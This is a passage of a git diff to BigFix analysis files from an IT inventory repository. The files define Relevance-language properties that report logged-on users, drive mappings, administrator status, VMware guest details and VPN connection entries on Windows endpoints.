+<P><STRONG>Note</STRONG>: OS Upgrades may reset last logon timestamp to the date of the upgrade.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Users - Last Logged on - Windows" EvaluationPeriod="P1D">(sid (it) as string | it ) of (string values whose (set of (&quot;S-1-5-20&quot;;&quot;S-1-5-19&quot;;&quot;S-1-5-18&quot;) does not contain it) of properties &quot;sid&quot; of items 0 of (it whose (preceding text of first &quot;.&quot; of string value of property &quot;LastUseTime&quot; of item 0 of it as integer = item 1 of it) of (select objects &quot;* from Win32_UserProfile&quot; of wmi, it) of (maximum of (preceding text of first &quot;.&quot; of string value of property &quot;LastUseTime&quot; of it as integer) of select objects &quot;* from Win32_UserProfile&quot; of wmi)))</Property>
+    <Property ID="9" Name="Current User - Drive Mappings - Windows" EvaluationPeriod="P1D">(concatenations &quot;\&quot; of substrings separated by &quot;#&quot; of name of it) of keys whose (name of it contains &quot;#&quot;) of keys &quot;Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2&quot; of (current user keys (logged on users) of registry)</Property>
+    <Property ID="10" Name="Users - Last Logon Time - Windows" EvaluationPeriod="PT12H">(sid (string value of property &quot;sid&quot; of it) as string | string value of property &quot;sid&quot; of it, time value of property &quot;LastUseTime&quot; of it) of (select objects &quot;* from Win32_UserProfile&quot; of wmi) whose (set of (&quot;S-1-5-20&quot;;&quot;S-1-5-19&quot;;&quot;S-1-5-18&quot;) does not contain string value of property &quot;sid&quot; of it)</Property>
+    <Property ID="11" Name="Current User - Administrator - Windows" EvaluationPeriod="P1D">exists elements of intersection of ( /*IS THE LOGGED IN USER AN ADMINISTRATOR? */ set of ( /* User&apos;s SID and Group Memberships */ ((sids of groups of logged on user of active directory) as string); /*User Group Memberships */ (sid of logged on user) as string /*Users SID*/ );( set of (/*Users and Groups in Administrators */ sids of members of local group &quot;administrators&quot; as string) ) )</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/VMWare Guest - Windows (2998379).bes b/Sites/Windows Management/Fixlets/Analyses/VMWare Guest - Windows (2998379).bes
index d169935bc..cb31c1a52 100644
--- a/Sites/Windows Management/Fixlets/Analyses/VMWare Guest - Windows (2998379).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/VMWare Guest - Windows (2998379).bes	
@@ -1,24 +1,24 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : VMWare Guest - Windows
-  ID       : 2998379
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-08-30T19:58:07
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>VMWare Guest - Windows</Title>
-    <Description><![CDATA[This analysis provides VM Guest where available.
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>((value &quot;manufacturer&quot; of structure &quot;system_information&quot; of smbios as string) contains &quot;VMware&quot;)</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="VMWare Guest - ID - Universal" EvaluationPeriod="P1D">if ((value &quot;manufacturer&quot; of structure &quot;system_information&quot; of smbios as string) contains &quot;VMware&quot;) then ((if exists property &quot;hexadecimal&quot; then hexadecimal of it else it as string as hexadecimal) of (value &quot;uuid&quot; of structure &quot;system_information&quot; of smbios)) else &quot;N/A&quot;</Property>
-    <Property ID="2" Name="VMWare Tools - Drivers - Windows" EvaluationPeriod="P1D">if (windows of operating system) then ((name of it, substrings between &quot;|&quot; of (it as string)) of values of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\VMWare, Inc.\VMware Drivers&quot; of native registry) else (error &quot;not applicable&quot;)</Property>
-    <Property ID="3" Name="VMWare Tools - Version - Windows" EvaluationPeriod="P1D">if (windows of operating system) then ( valueS &quot;DisplayVersion&quot; of keys whose (value &quot;DisplayName&quot; of it = &quot;VMware Tools&quot;)of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of native registry) else (error &quot;not applicable&quot;)</Property>
-    <Property ID="4" Name="VMWare Tools - State - Windows" EvaluationPeriod="PT1H">if (windows of operating system) then (state of service &quot;VMTools&quot; | &quot;Not Installed&quot;) else (error &quot;not applicable&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : VMWare Guest - Windows
+  ID       : 2998379
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-08-30T19:58:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>VMWare Guest - Windows</Title>
+    <Description><![CDATA[This analysis provides VM Guest where available.
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>((value &quot;manufacturer&quot; of structure &quot;system_information&quot; of smbios as string) contains &quot;VMware&quot;)</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="VMWare Guest - ID - Universal" EvaluationPeriod="P1D">if ((value &quot;manufacturer&quot; of structure &quot;system_information&quot; of smbios as string) contains &quot;VMware&quot;) then ((if exists property &quot;hexadecimal&quot; then hexadecimal of it else it as string as hexadecimal) of (value &quot;uuid&quot; of structure &quot;system_information&quot; of smbios)) else &quot;N/A&quot;</Property>
+    <Property ID="2" Name="VMWare Tools - Drivers - Windows" EvaluationPeriod="P1D">if (windows of operating system) then ((name of it, substrings between &quot;|&quot; of (it as string)) of values of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\VMWare, Inc.\VMware Drivers&quot; of native registry) else (error &quot;not applicable&quot;)</Property>
+    <Property ID="3" Name="VMWare Tools - Version - Windows" EvaluationPeriod="P1D">if (windows of operating system) then ( valueS &quot;DisplayVersion&quot; of keys whose (value &quot;DisplayName&quot; of it = &quot;VMware Tools&quot;)of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of native registry) else (error &quot;not applicable&quot;)</Property>
+    <Property ID="4" Name="VMWare Tools - State - Windows" EvaluationPeriod="PT1H">if (windows of operating system) then (state of service &quot;VMTools&quot; | &quot;Not Installed&quot;) else (error &quot;not applicable&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/VPN - Windows (2998351).bes b/Sites/Windows Management/Fixlets/Analyses/VPN - Windows (2998351).bes
index 240038060..f46e12ff0 100644
--- a/Sites/Windows Management/Fixlets/Analyses/VPN - Windows (2998351).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/VPN - Windows (2998351).bes	
@@ -1,32 +1,32 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : VPN - Windows
-  ID       : 2998351
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-08-16T11:47:28
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>VPN - Windows</Title>
-    <Description><![CDATA[<P>Provides information on the current VPN configuration in Windows.</P>
-<P>Special thanks to Jason Walker for helping with the Windows VPN file parsing.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(exists file &quot;rasphone.pbk&quot; of folder &quot;AppData\Roaming\Microsoft\Network\Connections\Pbk&quot; of folders (profile folders of users of logged on users)) or (exists file &quot;rasphone.pbk&quot; of folder &quot;Microsoft\Network\Connections\Pbk&quot; of folder (expand environment string of &quot;%25ALLUSERSPROFILE%25&quot;))</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="VPN - PPTP Connections (All Users) - Windows" EvaluationPeriod="P1D">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (PPTP)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folder &quot;Microsoft\Network\Connections\Pbk&quot; of folder (expand environment string of &quot;%25ALLUSERSPROFILE%25&quot;)</Property>
-    <Property ID="2" Name="VPN - IPSec Connections (All Users) - Windows" EvaluationPeriod="P1D">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (IPSec)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folder &quot;Microsoft\Network\Connections\Pbk&quot; of folder (expand environment string of &quot;%25ALLUSERSPROFILE%25&quot;)</Property>
-    <Property ID="3" Name="VPN - SSTP Connections (All Users) - Windows" EvaluationPeriod="P1D">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (SSTP)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folder &quot;Microsoft\Network\Connections\Pbk&quot; of folder (expand environment string of &quot;%25ALLUSERSPROFILE%25&quot;)</Property>
-    <Property ID="4" Name="VPN - L2TP Connections (All Users) - Windows" EvaluationPeriod="P1D">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (L2TP)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folder &quot;Microsoft\Network\Connections\Pbk&quot; of folder (expand environment string of &quot;%25ALLUSERSPROFILE%25&quot;)</Property>
-    <Property ID="5" Name="VPN - IKEv2 Connections (All Users) - Windows" EvaluationPeriod="P1D">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (IKEv2)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folder &quot;Microsoft\Network\Connections\Pbk&quot; of folder (expand environment string of &quot;%25ALLUSERSPROFILE%25&quot;)</Property>
-    <Property ID="7" Name="VPN - PPTP Connections (Current User) - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (PPTP)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folders &quot;AppData\Roaming\Microsoft\Network\Connections\Pbk&quot; of folders (profile folders of users of logged on users)</Property>
-    <Property ID="8" Name="VPN - IPSec Connections (Current User) - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (IPSec)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folders &quot;AppData\Roaming\Microsoft\Network\Connections\Pbk&quot; of folders (profile folders of users of logged on users)</Property>
-    <Property ID="9" Name="VPN - SSTP Connections (Current User) - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (SSTP)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folders &quot;AppData\Roaming\Microsoft\Network\Connections\Pbk&quot; of folders (profile folders of users of logged on users)</Property>
-    <Property ID="10" Name="VPN - L2TP Connections (Current User) - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (L2TP)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folders &quot;AppData\Roaming\Microsoft\Network\Connections\Pbk&quot; of folders (profile folders of users of logged on users)</Property>
-    <Property ID="11" Name="VPN - IKEv2 Connections (Current User) - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (IKEv2)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folders &quot;AppData\Roaming\Microsoft\Network\Connections\Pbk&quot; of folders (profile folders of users of logged on users)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : VPN - Windows
+  ID       : 2998351
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-08-16T11:47:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>VPN - Windows</Title>
+    <Description><![CDATA[<P>Provides information on the current VPN configuration in Windows.</P>
+<P>Special thanks to Jason Walker for helping with the Windows VPN file parsing.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(exists file &quot;rasphone.pbk&quot; of folder &quot;AppData\Roaming\Microsoft\Network\Connections\Pbk&quot; of folders (profile folders of users of logged on users)) or (exists file &quot;rasphone.pbk&quot; of folder &quot;Microsoft\Network\Connections\Pbk&quot; of folder (expand environment string of &quot;%25ALLUSERSPROFILE%25&quot;))</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="VPN - PPTP Connections (All Users) - Windows" EvaluationPeriod="P1D">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (PPTP)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folder &quot;Microsoft\Network\Connections\Pbk&quot; of folder (expand environment string of &quot;%25ALLUSERSPROFILE%25&quot;)</Property>
+    <Property ID="2" Name="VPN - IPSec Connections (All Users) - Windows" EvaluationPeriod="P1D">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (IPSec)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folder &quot;Microsoft\Network\Connections\Pbk&quot; of folder (expand environment string of &quot;%25ALLUSERSPROFILE%25&quot;)</Property>
+    <Property ID="3" Name="VPN - SSTP Connections (All Users) - Windows" EvaluationPeriod="P1D">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (SSTP)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folder &quot;Microsoft\Network\Connections\Pbk&quot; of folder (expand environment string of &quot;%25ALLUSERSPROFILE%25&quot;)</Property>
+    <Property ID="4" Name="VPN - L2TP Connections (All Users) - Windows" EvaluationPeriod="P1D">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (L2TP)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folder &quot;Microsoft\Network\Connections\Pbk&quot; of folder (expand environment string of &quot;%25ALLUSERSPROFILE%25&quot;)</Property>
+    <Property ID="5" Name="VPN - IKEv2 Connections (All Users) - Windows" EvaluationPeriod="P1D">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (IKEv2)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folder &quot;Microsoft\Network\Connections\Pbk&quot; of folder (expand environment string of &quot;%25ALLUSERSPROFILE%25&quot;)</Property>
+    <Property ID="7" Name="VPN - PPTP Connections (Current User) - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (PPTP)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folders &quot;AppData\Roaming\Microsoft\Network\Connections\Pbk&quot; of folders (profile folders of users of logged on users)</Property>
+    <Property ID="8" Name="VPN - IPSec Connections (Current User) - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (IPSec)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folders &quot;AppData\Roaming\Microsoft\Network\Connections\Pbk&quot; of folders (profile folders of users of logged on users)</Property>
+    <Property ID="9" Name="VPN - SSTP Connections (Current User) - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (SSTP)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folders &quot;AppData\Roaming\Microsoft\Network\Connections\Pbk&quot; of folders (profile folders of users of logged on users)</Property>
+    <Property ID="10" Name="VPN - L2TP Connections (Current User) - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (L2TP)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folders &quot;AppData\Roaming\Microsoft\Network\Connections\Pbk&quot; of folders (profile folders of users of logged on users)</Property>
+    <Property ID="11" Name="VPN - IKEv2 Connections (Current User) - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;]&quot; of following text of first &quot;[&quot; of item 0 of it, following text of first &quot;=&quot; of item 1 of it) of (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;PhoneNumber&quot;) of ((item 0 of it, item 1 of it) whose (exists (item 0 of it, variables of item 1 of it) whose (item 1 of it starts with item 0 of it and following text of first &quot;].&quot; of item 1 of it starts with &quot;Device=WAN Miniport (IKEv2)&quot;))  of ( (&quot;[&quot; &amp; it &amp; &quot;]&quot;) of (unique values of following texts of firsts &quot;[&quot; of preceding texts of firsts &quot;].&quot; of variables of it) of it, it ) of it) of file &quot;rasphone.pbk&quot; of folders &quot;AppData\Roaming\Microsoft\Network\Connections\Pbk&quot; of folders (profile folders of users of logged on users)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Values(BIOS & More) of wmi _root_dcim_sysman_ - Windows (Dell Command Monitor _ OMCI & others) (2994763).bes b/Sites/Windows Management/Fixlets/Analyses/Values(BIOS & More) of wmi _root_dcim_sysman_ - Windows (Dell Command Monitor _ OMCI & others) (2994763).bes
index 0c1b34c9a..5d15b5bd1 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Values(BIOS & More) of wmi _root_dcim_sysman_ - Windows (Dell Command Monitor _ OMCI & others) (2994763).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Values(BIOS & More) of wmi _root_dcim_sysman_ - Windows (Dell Command Monitor _ OMCI & others) (2994763).bes	
@@ -1,85 +1,85 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Values(BIOS & More) of wmi "root\dcim\sysman" - Windows (Dell Command Monitor / OMCI & others)
-  ID       : 2994763
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-02-06T14:40:24
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Values(BIOS &amp; More) of wmi &quot;root\dcim\sysman&quot; - Windows (Dell Command Monitor / OMCI &amp; others)</Title>
-    <Description><![CDATA[<P>Written against the <FONT size=2>Dell Command | Monitor Version 9.0 Reference Guide.</FONT></P>
-<P><FONT size=2>The information in wmi root\dcim\sysman is part of a standard, so this analysis should work for more than just Dell systems as long as the non-Dell systems have similar functionality and reporting mechanisms installed.</FONT></P>
-<P><FONT size=2>&nbsp;</P></FONT>
-<P><STRONG>References:</STRONG></P>
